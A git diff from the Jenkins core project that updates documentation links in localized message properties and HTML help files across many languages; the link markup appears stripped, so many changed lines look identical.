100644 --- a/core/src/main/resources/hudson/model/Messages_bg.properties +++ b/core/src/main/resources/hudson/model/Messages_bg.properties @@ -221,9 +221,9 @@ Hudson.NotUsesUTF8ToDecodeURL=\ \u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044a\u0442 \u0437\u0430 \u0441\u044a\u0440\u0432\u043b\u0435\u0442\u0438 \u043d\u0435 \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430 UTF-8 \u0437\u0430 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0438. \u0417\u043d\u0430\u0446\u0438\ \u0438\u0437\u0432\u044a\u043d ASCII \u0432 \u0438\u043c\u0435\u043d\u0430\u0442\u0430 \u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u0434\u0440. \u0449\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044f\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0438. \u0417\u0430 \u043f\u043e\u0432\u0435\u0447\u0435\ \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u043e\u0433\u043b\u0435\u0434\u043d\u0435\u0442\u0435\ - \u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0438\ + \u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0438\ \u0438\ - \ + \ \u0418\u043d\u0442\u0435\u0440\u043d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043d\u0430 Tomcat. Hudson.AdministerPermission.Description=\ \u0422\u043e\u0432\u0430 \u0434\u0430\u0432\u0430 \u043f\u0440\u0430\u0432\u043e \u0437\u0430 \u043f\u0440\u043e\u043c\u044f\u043d\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0438\u0442\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u043a\u0430\u043a\u0442\u043e \u0438 \u043f\u044a\u043b\u0435\u043d \u0434\u043e\u0441\u0442\u044a\u043f \u0434\u043e\ diff --git a/core/src/main/resources/hudson/model/Messages_de.properties b/core/src/main/resources/hudson/model/Messages_de.properties index 24789d48a8..f20b64671e 100644 --- a/core/src/main/resources/hudson/model/Messages_de.properties +++ b/core/src/main/resources/hudson/model/Messages_de.properties @@ -118,8 +118,8 @@ Hudson.NotANegativeNumber=Keine negative Zahl. Hudson.NotUsesUTF8ToDecodeURL=\ Ihr Container verwendet kein UTF-8, um URLs zu dekodieren. Falls Sie Nicht-ASCII-Zeichen \ in Jobnamen usw. verwenden, kann dies Probleme mit sich bringen. Beachten Sie bitte die Hinweise zu \ - Containern bzw. \ - Tomcat i18N). + Containern bzw. \ + Tomcat i18N). Hudson.AdministerPermission.Description=\ Dieses Recht erlaubt systemweite Konfigurations\u00e4nderungen, sowie sensitive Operationen \ die vollst\u00e4ndigen Zugriff auf das lokale Dateisystem bieten (in den Grenzen des \ diff --git a/core/src/main/resources/hudson/model/Messages_es.properties b/core/src/main/resources/hudson/model/Messages_es.properties index d1f693619d..47f01fc331 100644 --- a/core/src/main/resources/hudson/model/Messages_es.properties +++ b/core/src/main/resources/hudson/model/Messages_es.properties @@ -99,8 +99,8 @@ Hudson.NotANegativeNumber=No es un n\u00famero negativo Hudson.NotUsesUTF8ToDecodeURL=\ El contenedor de servlets no usa UTF-8 para decodificar URLs. Esto causar\u00e1 problemas si se usan nombres \ con caracteres no ASCII. Echa un vistazo a \ - Containers y a \ - Tomcat i18n para mas detalles. + Containers y a \ + Tomcat i18n para mas detalles. Hudson.AdministerPermission.Description=\ Este permiso garantiza la posibilidad de hacer cambios de configuraci\u00f3n en el sistema, \ as\u00ed como el realizar operaciones sobre el sistema de archivos local. \ diff --git a/core/src/main/resources/hudson/model/Messages_fr.properties b/core/src/main/resources/hudson/model/Messages_fr.properties index 30e1b2e65b..d1ded2fc0f 100644 --- a/core/src/main/resources/hudson/model/Messages_fr.properties +++ b/core/src/main/resources/hudson/model/Messages_fr.properties @@ -79,8 +79,8 @@ Hudson.NotANegativeNumber=Ceci n''est pas un nombre n\u00e9gatif Hudson.NotUsesUTF8ToDecodeURL=\ Votre conteneur n''utilise pas UTF-8 pour d\u00e9coder les URLs. Si vous utilisez des caract\u00e8res non-ASCII \ dans le nom d''un job ou autre, cela causera des probl\u00e8mes. \ - Consultez les pages sur les conteneurs et \ - sur Tomcat i18n pour plus de d\u00e9tails. + Consultez les pages sur les conteneurs et \ + sur Tomcat i18n pour plus de d\u00e9tails. Hudson.AdministerPermission.Description=\ Ce droit permet de faire des changements de configuration au niveau de tout le syst\u00e8me, \ et de r\u00e9aliser des op\u00e9rations tr\u00e8s d\u00e9licates qui n\u00e9cessitent un acc\u00e8s complet \u00e0 tout le syst\u00e8me \ diff --git a/core/src/main/resources/hudson/model/Messages_it.properties b/core/src/main/resources/hudson/model/Messages_it.properties index 8458a59a89..3b7bbdf392 100644 --- a/core/src/main/resources/hudson/model/Messages_it.properties +++ b/core/src/main/resources/hudson/model/Messages_it.properties @@ -107,8 +107,8 @@ Hudson.NotANegativeNumber=Non \u00e8 un numero negativo Hudson.NotUsesUTF8ToDecodeURL=\ Your container doesn''t use UTF-8 to decode URLs. If you use non-ASCII characters as a job name etc, \ this will cause problems. \ - See Containers and \ - Tomcat i18n for more details. + See Containers and \ + Tomcat i18n for more details. Hudson.AdministerPermission.Description=\ This permission grants the ability to make system-wide configuration changes, \ as well as perform highly sensitive operations that amounts to full local system access \ diff --git a/core/src/main/resources/hudson/model/Messages_ja.properties b/core/src/main/resources/hudson/model/Messages_ja.properties index 3d51ee20c7..98e610f5c9 100644 --- a/core/src/main/resources/hudson/model/Messages_ja.properties +++ b/core/src/main/resources/hudson/model/Messages_ja.properties @@ -114,8 +114,8 @@ Hudson.NotANonNegativeNumber=0\u4ee5\u4e0a\u306e\u6570\u5b57\u3092\u6307\u5b9a\u Hudson.NotANegativeNumber=\u8ca0\u306e\u6570\u5b57\u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 Hudson.NotUsesUTF8ToDecodeURL=\ URL\u304cUTF-8\u3067\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002\u30b8\u30e7\u30d6\u540d\u306a\u3069\u306bnon-ASCII\u306a\u6587\u5b57\u3092\u4f7f\u7528\u3059\u308b\u5834\u5408\u306f\u3001\ - \u30b3\u30f3\u30c6\u30ca\u306e\u8a2d\u5b9a\u3084\ - Tomcat i18N\u3092\u53c2\u8003\u306b\u8a2d\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 + \u30b3\u30f3\u30c6\u30ca\u306e\u8a2d\u5b9a\u3084\ + Tomcat i18N\u3092\u53c2\u8003\u306b\u8a2d\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002 Hudson.AdministerPermission.Description=\ (OS\u304c\u8a31\u53ef\u3059\u308b\u7bc4\u56f2\u5185\u3067\u306e\uff09\u30ed\u30fc\u30ab\u30eb\u30b7\u30b9\u30c6\u30e0\u5168\u4f53\u3078\u306e\u30a2\u30af\u30bb\u30b9\u306b\u76f8\u5f53\u3059\u308b\u3001\ \u3068\u3066\u3082\u6ce8\u610f\u304c\u5fc5\u8981\u306a\u64cd\u4f5c\u3068\u540c\u7a0b\u5ea6\u306e\u3001\u30b7\u30b9\u30c6\u30e0\u5168\u4f53\u306e\u8a2d\u5b9a\u5909\u66f4\u3092\u8a31\u53ef\u3057\u307e\u3059\u3002 diff --git a/core/src/main/resources/hudson/model/Messages_lt.properties b/core/src/main/resources/hudson/model/Messages_lt.properties index 6be646658f..a820b31b50 100644 --- a/core/src/main/resources/hudson/model/Messages_lt.properties +++ b/core/src/main/resources/hudson/model/Messages_lt.properties @@ -123,8 +123,8 @@ Hudson.NotANegativeNumber=Ne neigiamas skai\u010dius Hudson.NotUsesUTF8ToDecodeURL=\ J\u016bs\u0173 konteineris nenaudoja UTF-8 nuorod\u0173 dekodavimui. Jei j\u016bs naudojate ne-ASCII simbolius darb\u0173 pavadinimams ir pan., \ tai sukels problem\u0173. \ - Daugiau informacijos apie Konteinerius ir \ - Tomcat i18n. + Daugiau informacijos apie Konteinerius ir \ + Tomcat i18n. Hudson.AdministerPermission.Description=\ \u0160i teis\u0117 duoda galimyb\u0119 daryti sistemos lygio konfig\u016bracijos pakeitimus, \ taip pat vykdyti labai jautrius veiksmus, \u012fskaitant piln\u0105 prieig\u0105 prie sistemos \ diff --git a/core/src/main/resources/hudson/model/Messages_pt_BR.properties b/core/src/main/resources/hudson/model/Messages_pt_BR.properties index 4ed07299f1..f3519390d1 100644 --- a/core/src/main/resources/hudson/model/Messages_pt_BR.properties +++ b/core/src/main/resources/hudson/model/Messages_pt_BR.properties @@ -194,8 +194,8 @@ UpdateCenter.Status.UnknownHostException=Erro ao resolver o no # \ # Your container doesn''t use UTF-8 to decode URLs. If you use non-ASCII characters as a job name etc, \ # this will cause problems. \ -# See Containers and \ -# Tomcat i18n for more details. +# See Containers and \ +# Tomcat i18n for more details. Hudson.NotUsesUTF8ToDecodeURL=n\u00e3o use caracteres UTF-8 nas URLs # Checking internet connectivity UpdateCenter.Status.CheckingInternet=Checando conex\u00e3o com a Internet diff --git a/core/src/main/resources/hudson/model/Messages_sr.properties b/core/src/main/resources/hudson/model/Messages_sr.properties index 01085a0393..7a47af65a8 100644 --- a/core/src/main/resources/hudson/model/Messages_sr.properties +++ b/core/src/main/resources/hudson/model/Messages_sr.properties @@ -116,8 +116,8 @@ Hudson.NotANumber=\u041D\u0438\u0458\u0435 \u0431\u0440\u043E\u0458\u043A\u0430 Hudson.NotAPositiveNumber=\u041D\u0438\u0458\u0435 \u043F\u043E\u0437\u0438\u0442\u0438\u0432\u0430\u043D \u0431\u0440\u043E\u0458. Hudson.NotANonNegativeNumber=\u0411\u0440\u043E\u0458 \u043D\u0435\u043C\u043E\u0436\u0435 \u0431\u0438\u0442\u0438 \u043D\u0435\u0433\u0430\u0442\u0438\u0432\u0430\u043D. Hudson.NotANegativeNumber=\u041D\u0438\u0458\u0435 \u043D\u0435\u0433\u0430\u0442\u0438\u0432\u0430\u043D \u0431\u0440\u043E\u0458. -Hudson.NotUsesUTF8ToDecodeURL=URL \u0430\u0434\u0440\u0435\u0441\u0435 \u0432\u0430\u0448\u0435\u0433 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0430 \u043D\u0438\u0441\u0443 \u0443\u043D\u0435\u0448\u0435\u043D\u0438 \u043F\u043E \u0444\u043E\u0440\u043C\u0430\u0442\u0443 UTF-8. \u0418\u043C\u0435\u043D\u0430 \u0441\u0430 \u0437\u043D\u0430\u0446\u0438\u043C\u0430 \u0438\u0437\u0432\u0430\u043D ASCII \u043C\u043E\u0433\u0443 \u0438\u0437\u0430\u0437\u0432\u0430\u0442\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0435. \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 Containers \u0438 \ - Tomcat i18n. +Hudson.NotUsesUTF8ToDecodeURL=URL \u0430\u0434\u0440\u0435\u0441\u0435 \u0432\u0430\u0448\u0435\u0433 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0430 \u043D\u0438\u0441\u0443 \u0443\u043D\u0435\u0448\u0435\u043D\u0438 \u043F\u043E \u0444\u043E\u0440\u043C\u0430\u0442\u0443 UTF-8. \u0418\u043C\u0435\u043D\u0430 \u0441\u0430 \u0437\u043D\u0430\u0446\u0438\u043C\u0430 \u0438\u0437\u0432\u0430\u043D ASCII \u043C\u043E\u0433\u0443 \u0438\u0437\u0430\u0437\u0432\u0430\u0442\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0435. \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 Containers \u0438 \ + Tomcat i18n. Hudson.AdministerPermission.Description=\u0414\u0430\u0458\u0435 \u043F\u0440\u0430\u0432\u043E \u0434\u0430 \u043C\u0435\u045A\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0441\u0438\u0441\u0442\u0435\u043C\u0430, \u043A\u0430\u043E \u0438 \u043A\u043E\u043C\u043F\u043B\u0435\u0442\u0430\u043D \u043F\u0440\u0438\u0441\u0442\u0443\u043F \u043B\u043E\u043A\u0430\u043B\u043D\u043E\u0433 \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u0443 \u0458\u0435\u0434\u043D\u0430\u043A\u0435 \u043F\u043E \u043E\u043A\u0432\u0438\u0440\u0443 \u043F\u0440\u0430\u0432\u0430 \u0443 \u0441\u043A\u043B\u0430\u0434\u0443 \u0441\u0430 \u043E\u043F\u0435\u0440\u0430\u0442\u0438\u0432\u043D\u0438 \u0441\u0438\u0441\u0442\u0435\u043C\u043E\u043C. Hudson.ReadPermission.Description= Hudson.RunScriptsPermission.Description=\u041E\u0431\u0430\u0432\u0435\u0437\u043D\u043E \u0437\u0430 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430\u045A\u0435 \u0441\u043A\u0440\u0438\u043F\u0442\u0430 \u0443\u043D\u0443\u0442\u0430\u0440 Jenkins \u043F\u0440\u043E\u0446\u0435\u0441\u0430, \u043A\u0430\u043E \u043D\u0430 \u043F\u0440\u0438\u043C\u0435\u0440 \u043F\u0440\u0435\u043A\u043E Groovy \u043A\u043E\u043D\u0441\u043E\u043B\u0435 \u0438\u043B\u0438 \u043A\u043E\u043C\u0430\u043D\u0434\u0435. diff --git a/core/src/main/resources/hudson/model/Messages_zh_CN.properties b/core/src/main/resources/hudson/model/Messages_zh_CN.properties index 1d07150da1..2dd933f56c 100644 --- a/core/src/main/resources/hudson/model/Messages_zh_CN.properties +++ b/core/src/main/resources/hudson/model/Messages_zh_CN.properties @@ -100,8 +100,8 @@ Hudson.NotANegativeNumber=Not a negative number Hudson.NotUsesUTF8ToDecodeURL=\ Your container doesn''t use UTF-8 to decode URLs. If you use non-ASCII characters as a job name etc, \ this will cause problems. \ - See Containers and \ - Tomcat i18n for more details. + See Containers and \ + Tomcat i18n for more details. Hudson.AdministerPermission.Description=\ This permission grants the ability to make system-wide configuration changes, \ as well as perform highly sensitive operations that amounts to full local system access \ diff --git a/core/src/main/resources/hudson/model/Messages_zh_TW.properties b/core/src/main/resources/hudson/model/Messages_zh_TW.properties index 2ffc39e21f..9fb229cc07 100644 --- a/core/src/main/resources/hudson/model/Messages_zh_TW.properties +++ b/core/src/main/resources/hudson/model/Messages_zh_TW.properties @@ -117,8 +117,8 @@ Hudson.NotANonNegativeNumber=\u4e0d\u80fd\u70ba\u8ca0\u6578 Hudson.NotANegativeNumber=\u4e0d\u662f\u8ca0\u6578 Hudson.NotUsesUTF8ToDecodeURL=\ \u60a8\u7684\u5bb9\u5668\u4e0d\u662f\u4f7f\u7528 UTF-8 \u89e3\u8b6f URL\u3002\u5982\u679c\u60a8\u5728\u4f5c\u696d\u7b49\u540d\u7a31\u4e2d\u4f7f\u7528\u4e86\u975e ASCII \u5b57\u5143\uff0c\u53ef\u80fd\u6703\u9020\u6210\u554f\u984c\u3002\ - \u8acb\u53c3\u8003 Container \u53ca \ - Tomcat i18n \u8cc7\u6599\u3002 + \u8acb\u53c3\u8003 Container \u53ca \ + Tomcat i18n \u8cc7\u6599\u3002 Hudson.AdministerPermission.Description=\ \u6388\u8207\u8b8a\u66f4\u6574\u500b\u7cfb\u7d71\u8a2d\u5b9a\u7684\u6b0a\u9650\u3002\ \u5305\u62ec\u57f7\u884c\u9ad8\u5ea6\u654f\u611f\u7684\u4f5c\u696d\uff0c\u751a\u81f3\u53ef\u4ee5\u5b58\u53d6\u6574\u500b\u672c\u5730\u7cfb\u7d71 \ diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help.html b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help.html index 496799b63e..26f61309e6 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help.html +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help.html @@ -30,7 +30,7 @@ of the same project will only succeed if the parameter values are different, or if the Execute concurrent builds if necessary option is enabled.

                                                                      - See the Parameterized Builds wiki page for more information about + See the Parameterized Builds documentation for more information about this feature. diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_de.html b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_de.html index 0a558a6774..15fb51e81c 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_de.html +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_de.html @@ -10,6 +10,6 @@ nach Namen unterschieden. Sie können daher auch mehrere Parameter verwenden, solange diese unterschiedliche Namen tragen.

                                                                      - Im Jenkins Wiki + Auf der Jenkins website finden Sie weitere Informationen über parametrisierte Builds. diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_fr.html b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_fr.html index 63ad1585bb..f1eba21dcc 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_fr.html +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_fr.html @@ -9,6 +9,6 @@ noms. Vous pouvez donc avoir des multiples paramètres, du moment qu'ils ont des noms distincts.

                                                                      - Consultez cette page Wiki + Consultez cette page pour plus de discussions autour de cette fonctionnalité. diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_ja.html b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_ja.html index 429b1a3c3c..86a0381cf4 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_ja.html +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_ja.html @@ -7,5 +7,5 @@ ここでは、ビルドが必要とするパラメータを設定します。パラメータは名前で識別するので、異なる名前を使用すれば複数のパラメータを使用できます。

                                                                      - この機能の詳細については、Wikiの項目を参照してください。 + この機能の詳細については、Wikiの項目を参照してください。 diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_tr.html b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_tr.html index a89669c4c5..5b885ac6a6 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_tr.html +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_tr.html @@ -9,6 +9,6 @@ by their names, and so you can have multiple parameters provided that they have different names.

                                                                      - See the Wiki topic + See the Jenkins site for more discussions about this feature. diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_zh_TW.html b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_zh_TW.html index 8ee9be6a2e..050c733cb8 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_zh_TW.html +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/help_zh_TW.html @@ -7,6 +7,6 @@ 參數之間是以名稱來區隔,所以如果您要用到多個參數,請指定不同的名稱。

                                                                      - 請參考這篇 Wiki + 請參考這篇 Wiki 條目有關本功能的更多討論。 diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup.html b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup.html index 124f422cba..cb7b6fa7f1 100644 --- a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup.html +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup.html @@ -7,5 +7,5 @@

                                                                      By default, Jenkins does not use captcha verification if the user creates an account by themself. If you'd like to enable captcha verification, install a captcha support plugin, e.g. the Jenkins - JCaptcha Plugin. + JCaptcha Plugin. diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_bg.html b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_bg.html index daa6a4ffd6..686e4f9b81 100644 --- a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_bg.html +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_bg.html @@ -9,6 +9,6 @@ Стандартно Jenkins не използва графична защита, че човек, а не скрипт създава регистрацията. Ако такава функционалност ви трябва, инсталирайте съответната приставка, напр. - JCaptcha + JCaptcha Plugin. diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_zh_TW.html b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_zh_TW.html index e2535f2729..81d911bda1 100644 --- a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_zh_TW.html +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/help-allowsSignup_zh_TW.html @@ -6,5 +6,5 @@

                                                                      預設情況下,Jenkins 不會使用 CAPTCHA 驗證使用者帳號是不是由真的人建立。 如果您想要使用 CAPTCHA 驗證機制,請安裝 CAPTCHA 外掛程式,例如 Jenkins - JCaptcha Plugin。 + JCaptcha Plugin。 diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help.html index b84d67f0c3..cdbcdd57c8 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help.html @@ -26,6 +26,6 @@ is used) need to use this and record fingerprints.

                                                                      - See this document + See this document for more details. diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_de.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_de.html index a605400804..5416a58285 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_de.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_de.html @@ -27,5 +27,5 @@ Projekt, in dem eine Datei produziert wird, sondern alle Projekte, welche die Datei verwenden) diese Funktion verenden und Fingerabdrücke aufzeichnen.

                                                                      - Weitere Informationen (auf Englisch) + Weitere Informationen (auf Englisch) diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_fr.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_fr.html index 0a353d46fe..ab9fadd307 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_fr.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_fr.html @@ -33,6 +33,6 @@

                                                                      Voir - ce document + ce document pour plus de details. diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_ja.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_ja.html index 6f4e235eb3..373c21c411 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_ja.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_ja.html @@ -26,7 +26,7 @@ ファイルを利用するプロジェクト)すべてで,ファイル指紋を記録する必要があります。

                                                                      より詳しくは - このドキュメントを + このドキュメントを 参照してください。 diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_pt_BR.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_pt_BR.html index 6087ebb004..5c113191f7 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_pt_BR.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_pt_BR.html @@ -26,6 +26,6 @@ é usado) necessitam usar isto e gravar os fingerprints.

                                                                      - Veja esta documentação + Veja esta documentação para mais detalhes. diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_ru.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_ru.html index 60aecef37a..057832d20c 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_ru.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_ru.html @@ -26,6 +26,6 @@ должны также включить эту опцию и сохранять свои отпечатки.

                                                                      - Прочтите этот документ + Прочтите этот документ если вы хотите узнать больше. diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_tr.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_tr.html index 8464d5a98a..36e010f00d 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_tr.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_tr.html @@ -25,5 +25,5 @@ aynı zamanda bu dosyayı kullanan projelerin de) bunu kullanması ve parmakizlerini kaydetmesi gereklidir.

                                                                      - Daha fazla bilgi için lütfen tıklayın + Daha fazla bilgi için lütfen tıklayın diff --git a/core/src/main/resources/hudson/tasks/Fingerprinter/help_zh_TW.html b/core/src/main/resources/hudson/tasks/Fingerprinter/help_zh_TW.html index 87133e07f0..b38287df9e 100644 --- a/core/src/main/resources/hudson/tasks/Fingerprinter/help_zh_TW.html +++ b/core/src/main/resources/hudson/tasks/Fingerprinter/help_zh_TW.html @@ -24,5 +24,5 @@ 都要開啟指紋記錄功能。

                                                                      - 詳情請參考這份文件。 + 詳情請參考這份文件。 diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential.properties index 677be84908..b71d56349f 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential.properties @@ -20,4 +20,4 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -description=To access older versions of JDK, you need to have Oracle Account. \ No newline at end of file +description=To access older versions of JDK, you need to have Oracle Account. \ No newline at end of file diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_de.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_de.properties index f3146f3e65..672bfce5c0 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_de.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_de.properties @@ -4,4 +4,4 @@ Enter\ Your\ Oracle\ Account=Bitte Oracle-Account eintragen OK=Ok Password=Passwort Username=Benutzername -description=Um \u00E4ltere Versionen des JDKs zu erlangen, ben\u00F6tigen Sie einen Oracle Account. +description=Um \u00E4ltere Versionen des JDKs zu erlangen, ben\u00F6tigen Sie einen Oracle Account. diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_es.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_es.properties index ef8b59b2ce..7d6223c69f 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_es.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_es.properties @@ -22,7 +22,7 @@ Password=Contrasea Username=Usuario -# To access older versions of JDK, you need to have Oracle Account. -description=Desafortunadamente Oracle exige que para descargar antiguas versiones del JDK uses una Cuenta de Oracle. +# To access older versions of JDK, you need to have Oracle Account. +description=Desafortunadamente Oracle exige que para descargar antiguas versiones del JDK uses una Cuenta de Oracle. Enter\ Your\ Oracle\ Account=Introduce un usuario y contrasea vlidos OK=Aceptar diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_ja.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_ja.properties index a223567c49..219b0f8127 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_ja.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_ja.properties @@ -24,5 +24,5 @@ Enter\ Your\ Oracle\ Account=Oracle\u30a2\u30ab\u30a6\u30f3\u30c8\u306e\u5165\u5 Username=\u30e6\u30fc\u30b6\u540d Password=\u30d1\u30b9\u30ef\u30fc\u30c9 description=\ - JDK\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u306b\u306f\u3001Oracle\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u304c\u5fc5\u8981\u3067\u3059\u3002 + JDK\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u306b\u306f\u3001Oracle\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u304c\u5fc5\u8981\u3067\u3059\u3002 OK=OK diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_pt_BR.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_pt_BR.properties index b02b3afbb5..92d284a351 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_pt_BR.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_pt_BR.properties @@ -24,5 +24,5 @@ Username=Usu\u00e1rio Password=Senha OK=OK Enter\ Your\ Oracle\ Account=Informe sua conta da Oracle -# To access older versions of JDK, you need to have Oracle Account. -description=Para acessar vers\u00f5es antigas do JDK, voc\u00ea deve possuir uma conta da Oracle. +# To access older versions of JDK, you need to have Oracle Account. +description=Para acessar vers\u00f5es antigas do JDK, voc\u00ea deve possuir uma conta da Oracle. diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_sr.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_sr.properties index c1866bea55..c77ad735c4 100644 --- 